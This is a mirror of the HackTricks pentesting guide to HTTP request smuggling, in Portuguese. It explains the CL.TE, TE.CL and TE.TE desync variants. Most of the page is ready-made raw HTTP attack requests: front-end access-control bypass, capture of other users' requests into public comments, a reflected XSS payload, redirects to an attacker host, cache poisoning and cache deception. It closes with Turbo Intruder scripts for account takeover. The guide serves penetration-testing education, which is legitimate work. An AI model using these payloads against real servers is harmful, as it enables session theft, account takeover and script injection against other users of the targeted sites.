Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator e553394b9f Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
2024-01-01 18:32:14 +00:00
..
browser-http-request-smuggling.md GitBook: No commit message 2023-08-29 18:57:50 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:32:14 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:32:14 +00:00

README.md

Contrabando de Requisições HTTP / Ataque de Desincronização HTTP

Aprenda a hackear AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

O que é

Esta vulnerabilidade ocorre quando uma desincronização entre proxies front-end e o servidor back-end permite que um atacante envie uma requisição HTTP que será interpretada como uma única requisição pelos proxies front-end (balanceamento de carga/proxy reverso) e como 2 requisições pelo servidor back-end.
Isso permite que um usuário modifique a próxima requisição que chega ao servidor back-end após a sua.

Teoria

Especificação RFC (2161)

Se uma mensagem é recebida com ambos os campos de cabeçalho Transfer-Encoding e Content-Length, o último DEVE ser ignorado.

Content-Length

O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

Transfer-Encoding: chunked

O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.
Chunked significa que dados grandes são enviados em uma série de pedaços

Realidade

O Front-End (um balanceador de carga / Proxy Reverso) processa o cabeçalho content-length ou o cabeçalho transfer-encoding e o servidor Back-end processa o outro, provocando uma desincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um atacante poderá enviar uma requisição ao proxy reverso que será interpretada pelo servidor back-end como 2 requisições diferentes. O perigo desta técnica reside no fato de que o servidor back-end interpretará a 2ª requisição injetada como se ela viesse do próximo cliente e a requisição real desse cliente será parte da requisição injetada.

Particularidades

Lembre-se que em HTTP um caractere de nova linha é composto por 2 bytes:

  • Content-Length: Este cabeçalho usa um número decimal para indicar o número de bytes do corpo da requisição. Espera-se que o corpo termine no último caractere, não é necessário uma nova linha no final da requisição.
  • Transfer-Encoding: Este cabeçalho usa no corpo um número hexadecimal para indicar o número de bytes do próximo pedaço. O pedaço deve terminar com uma nova linha, mas esta nova linha não é contada pelo indicador de comprimento. Este método de transferência deve terminar com um pedaço de tamanho 0 seguido por 2 novas linhas: 0
  • Connection: Baseado na minha experiência, é recomendado usar Connection: keep-alive na primeira requisição do Contrabando de Requisições.

Exemplos Básicos

Portanto, ataques de contrabando de requisições envolvem colocar ambos os cabeçalhos Content-Length e Transfer-Encoding em uma única requisição HTTP e manipulá-los de forma que os servidores front-end e back-end processem a requisição de maneira diferente. A maneira exata de fazer isso depende do comportamento dos dois servidores:

  • CL.TE: o servidor front-end usa o cabeçalho Content-Length e o servidor back-end usa o cabeçalho Transfer-Encoding.
  • TE.CL: o servidor front-end usa o cabeçalho Transfer-Encoding e o servidor back-end usa o cabeçalho Content-Length.
  • TE.TE: os servidores front-end e back-end ambos suportam o cabeçalho Transfer-Encoding, mas um dos servidores pode ser induzido a não processá-lo ao ofuscar o cabeçalho de alguma forma.

Vulnerabilidades CL.TE

Aqui, o servidor front-end usa o cabeçalho Content-Length e o servidor back-end usa o cabeçalho Transfer-Encoding. Podemos realizar um simples ataque de contrabando de requisições HTTP da seguinte forma:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Note como Content-Length indica que o comprimento do corpo da requisição é de 30 bytes (lembre-se que o HTTP usa como nova linha, então 2 bytes cada nova linha), então o proxy reverso enviará a requisição completa para o back-end, e o back-end processará o cabeçalho Transfer-Encoding deixando o GET /404 HTTP/1.1 como o início da próxima requisição (a propósito, a próxima requisição será anexada a Foo:x<Início da próxima requisição aqui>).

Vulnerabilidades TE.CL

Aqui, o servidor front-end usa o cabeçalho Transfer-Encoding e o servidor back-end usa o cabeçalho Content-Length. Podemos realizar um simples ataque de contrabando de requisições HTTP da seguinte forma:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

Neste caso, o proxy reverso enviará a requisição inteira para o back-end, pois o Transfer-encoding indica isso. Mas, o back-end vai processar apenas os 7b (4 bytes) como indicado no Content-Length. Portanto, a próxima requisição será a que começa por GET /404 HTTP/1.1

Note que mesmo que o ataque deva terminar com um 0, a requisição seguinte será anexada como valores extras do parâmetro x.
Também note que o Content-Length da requisição embutida indicará o comprimento da próxima requisição que será anexada ao parâmetro x. Se for muito pequeno, apenas alguns bytes serão anexados, e se for muito grande (maior que o comprimento da próxima requisição) um erro será lançado para a próxima requisição.

Vulnerabilidades TE.TE

Aqui, os servidores front-end e back-end ambos suportam o cabeçalho Transfer-Encoding, mas um dos servidores pode ser induzido a não processá-lo ao ofuscar o cabeçalho de alguma forma.
Existem potencialmente infinitas maneiras de ofuscar o cabeçalho Transfer-Encoding. Por exemplo:

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[espaço]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

Dependendo do servidor (proxy reverso ou back-end) que parar de processar o cabeçalho TE, você encontrará uma vulnerabilidade CL.TE ou TE.CL.

Encontrando Contrabando de Requisições HTTP

Encontrando vulnerabilidades CL.TE usando técnicas de tempo

Se uma aplicação for vulnerável à variante CL.TE do contrabando de requisições, então enviar uma requisição como a seguinte frequentemente causará um atraso de tempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Já que o servidor front-end usa o cabeçalho Content-Length, ele encaminhará apenas parte desta solicitação, omitindo o 0. O servidor back-end usa o cabeçalho Transfer-Encoding, processa o primeiro bloco e depois espera pela chegada do próximo bloco. Isso causará um atraso de tempo observável.

Às vezes, em vez de receber um tempo esgotado, você recebe um erro 400 de solicitação ruim do host final, como no seguinte cenário, onde um payload CL.TE é enviado:

E a resposta é um redirecionamento contendo um erro dentro do corpo, com até mesmo a versão do haproxy usada:

Encontrando vulnerabilidades TE.CL usando técnicas de tempo

Se uma aplicação for vulnerável à variante TE.CL de contrabando de solicitações, então enviar uma solicitação como a seguinte frequentemente causará um atraso de tempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Uma vez que o servidor front-end utiliza o cabeçalho `Transfer-Encoding`, ele encaminhará apenas parte desta solicitação, omitindo o `X`. O servidor back-end usa o cabeçalho `Content-Length`, espera mais conteúdo no corpo da mensagem e aguarda a chegada do conteúdo restante. Isso causará um atraso de tempo observável.

### Sondando vulnerabilidades de HTTP Request Smuggling

Uma vez que você descobriu que as **técnicas de tempo estão funcionando**, você precisa **sondar** se pode **alterar as solicitações de outros clientes**.\
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, **fazer uma solicitação para `/` retornar um 404, por exemplo**.\
Nos [Exemplos Básicos](./#basic-examples), já vimos exemplos de `CL.TE` e `TE.CL` de como envenenar a solicitação de um cliente para pedir `/404`, provocando uma resposta 404 quando o cliente estava pedindo por qualquer outro recurso.

**Notas**

Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de smuggling de solicitações via interferência com outras solicitações:

* A solicitação de "ataque" e a solicitação "normal" devem ser enviadas ao servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não provará que a vulnerabilidade existe.
* A solicitação de "ataque" e a solicitação "normal" devem usar a mesma URL e nomes de parâmetros, tanto quanto possível. Isso ocorre porque muitas aplicações modernas encaminham solicitações front-end para diferentes servidores back-end com base na URL e nos parâmetros. Usar a mesma URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor back-end, o que é essencial para o funcionamento do ataque.
* Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação de "ataque", você está em uma corrida com quaisquer outras solicitações que a aplicação esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação de "ataque". Se a aplicação estiver ocupada, você pode precisar realizar várias tentativas para confirmar a vulnerabilidade.
* Em algumas aplicações, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações de "ataque" e "normal" forem encaminhadas para diferentes sistemas back-end, então o ataque falhará. Esta é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
* Se o seu ataque for bem-sucedido em interferir com uma solicitação subsequente, mas essa não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário da aplicação foi afetado pelo seu ataque. Se você continuar realizando o teste, isso poderá ter um efeito perturbador sobre outros usuários, e você deve ter cautela.

### Forçando via cabeçalhos hop-by-hop

Abusando de cabeçalhos hop-by-hop, você pode indicar ao proxy para **deletar o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de abusar**.

Connection: Content-Length

Para mais informações sobre cabeçalhos hop-by-hop, visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abusando do HTTP Request Smuggling

Para burlar controles de segurança front-end

Às vezes, proxies front-end realizam algumas verificações de segurança. Você pode evitá-las abusando do HTTP Request Smuggling, pois será capaz de burlar as proteções. Por exemplo, neste exemplo você não pode acessar /admin de fora e o proxy front-end está verificando isso, mas esse proxy não está verificando a requisição embutida:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Revelando reescrita de requisições front-end

Em muitas aplicações, o servidor front-end realiza alguma reescrita de requisições antes de encaminhá-las ao servidor back-end, tipicamente adicionando alguns cabeçalhos de requisição adicionais.
Uma prática comum é adicionar ao pedido o cabeçalho X-Forwarded-For: <IP do cliente> ou algum cabeçalho similar para que o back-end conheça o IP do cliente.
Às vezes, se você descobrir quais novos valores são anexados à requisição, você poderá burlar proteções e acessar informações/endpoints ocultos.

Para descobrir como o proxy está reescrevendo a requisição, você precisa encontrar um parâmetro POST que o back-end refletirá seu valor na resposta. Então, use este parâmetro como o último e use um exploit como este:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

Neste caso, a próxima requisição será anexada após search=, que é também o parâmetro cujo valor será refletido na resposta, portanto, vai refletir os cabeçalhos da próxima requisição.

Note que apenas o comprimento indicado no cabeçalho Content-Length da requisição embutida será refletido. Se você usar um número baixo, apenas alguns bytes serão refletidos; se usar um número maior que o comprimento de todos os cabeçalhos, então a requisição embutida gerará um erro. Então, você deve começar com um número pequeno e aumentar até ver tudo o que desejava ver.
Note também que esta técnica também é explorável com uma vulnerabilidade TE.CL mas a requisição deve terminar com search=\r\n0. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Finalmente, note que neste ataque ainda estamos nos atacando para aprender como o proxy front-end está reescrevendo a requisição.

Capturando requisições de outros usuários

Se você encontrar uma requisição POST que vai salvar o conteúdo de um dos parâmetros, você pode anexar a seguinte requisição como o valor desse parâmetro para armazenar a requisição do próximo cliente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

Neste caso, o valor do parâmetro comment será salvo dentro de um comentário de um post na página que é publicamente acessível, então um comentário aparecerá com o conteúdo da próxima requisição.

Uma limitação com esta técnica é que ela geralmente só captura dados até o delimitador de parâmetros que é aplicável para a requisição contrabandeada. Para submissões de formulários codificados por URL, será o caractere &, o que significa que o conteúdo armazenado da requisição do usuário vítima terminará no primeiro &, que pode até aparecer na string de consulta.

Note também que esta técnica também é explorável com uma vulnerabilidade TE.CL mas a requisição deve terminar com search=\r\n0. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Usando HTTP Request Smuggling para explorar XSS refletido

Se a página web também for vulnerável a XSS Refletido, você pode abusar do HTTP Request Smuggling para atacar clientes da web. A exploração de XSS Refletido a partir do HTTP Request Smuggling tem algumas vantagens:

  • Não requer interação com usuários vítimas
  • Pode ser usado para explorar comportamentos XSS em partes da requisição que não podem ser trivialmente controladas em um ataque normal de XSS refletido, como cabeçalhos de requisições HTTP.

Se um site for vulnerável a XSS Refletido no cabeçalho User-Agent, você pode usar este payload para explorá-lo:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

Usando HTTP Request Smuggling para transformar um redirecionamento interno em um redirecionamento aberto

Muitas aplicações realizam redirecionamentos internos de uma URL para outra e colocam o nome do host do cabeçalho Host da requisição na URL de redirecionamento. Um exemplo disso é o comportamento padrão dos servidores web Apache e IIS, onde uma requisição para uma pasta sem uma barra final recebe um redirecionamento para a mesma pasta incluindo a barra final:

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Esse comportamento é normalmente considerado inofensivo, mas pode ser explorado em um ataque de contrabando de requisições para redirecionar outros usuários para um domínio externo. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

A requisição contrabandeada acionará um redirecionamento para o site do atacante, o que afetará a próxima requisição do usuário processada pelo servidor back-end. Por exemplo:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Aqui, a requisição do usuário era para um arquivo JavaScript que foi importado por uma página no site. O atacante pode comprometer totalmente o usuário vítima retornando seu próprio JavaScript na resposta.

Usando HTTP Request Smuggling para realizar envenenamento de cache web

Se alguma parte da infraestrutura front-end realiza cache de conteúdo (geralmente por razões de desempenho), então pode ser possível envenenar esse cache modificando a resposta do servidor.

Já vimos como modificar o valor esperado de retorno do servidor para um 404 (nos Exemplos Básicos), de maneira similar você poderia fazer o servidor retornar o conteúdo de /index.html quando a requisição envenenada está pedindo por /static/include.js. Dessa forma, o conteúdo de /static/include.js será armazenado em cache com o conteúdo de /index.html, tornando /static/include.js inacessível para os clientes (DoS?).

Observe que isso é ainda mais interessante se você encontrar algum Redirecionamento Aberto ou algum redirecionamento interno para redirecionamento aberto (última seção). Porque, você poderia ser capaz de mudar os valores de cache de /static/include.js com os de um script controlado por você (fazendo um XSS geral para todos os clientes que tentarem baixar a nova versão de /static/include.js).

Neste exemplo, será mostrado como você pode explorar um envenenamento de cache + redirecionamento interno para redirecionamento aberto para modificar os conteúdos do cache de /static/include.js para servir código JS controlado pelo atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

Note como a requisição embutida está pedindo por /post/next?postId=3 Esta requisição será redirecionada para /post?postId=4 e usará o valor do cabeçalho Host para indicar o domínio. Portanto, você pode modificar o cabeçalho Host para apontar para o servidor do atacante e o redirecionamento usará esse domínio (redirecionamento interno para redirecionamento aberto).

Então, após envenenar o socket, você precisa enviar uma requisição GET para /static/include.js esta requisição será envenenada pela requisição de redirecionamento interno para redirecionamento aberto e pegará o conteúdo do script controlado pelo atacante.

Na próxima vez que alguém pedir por /static/include.js, os conteúdos em cache do script do atacante serão servidos (XSS geral).

Usando HTTP Request Smuggling para realizar decepção de cache web

Qual é a diferença entre envenenamento de cache web e decepção de cache web?

  • No envenenamento de cache web, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e este conteúdo é servido do cache para outros usuários da aplicação.
  • Na decepção de cache web, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera este conteúdo do cache.

Nesta variante, o atacante contrabandeia uma requisição que retorna algum conteúdo sensível específico do usuário. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

Se o envenenamento atingir um cliente que estava acessando algum conteúdo estático como /someimage.png que iria ser armazenado em cache. Os conteúdos de /private/messages da vítima serão armazenados em cache em /someimage.png e o atacante poderá roubá-los.
Note que o atacante não sabe qual conteúdo estático a vítima estava tentando acessar então provavelmente a melhor maneira de testar isso é realizar o ataque, esperar alguns segundos e carregar todo o conteúdo estático e procurar pelos dados privados.

Armando HTTP Request Smuggling com Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Tente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts do Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Mais informações

Imagem daqui.

Ferramentas

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: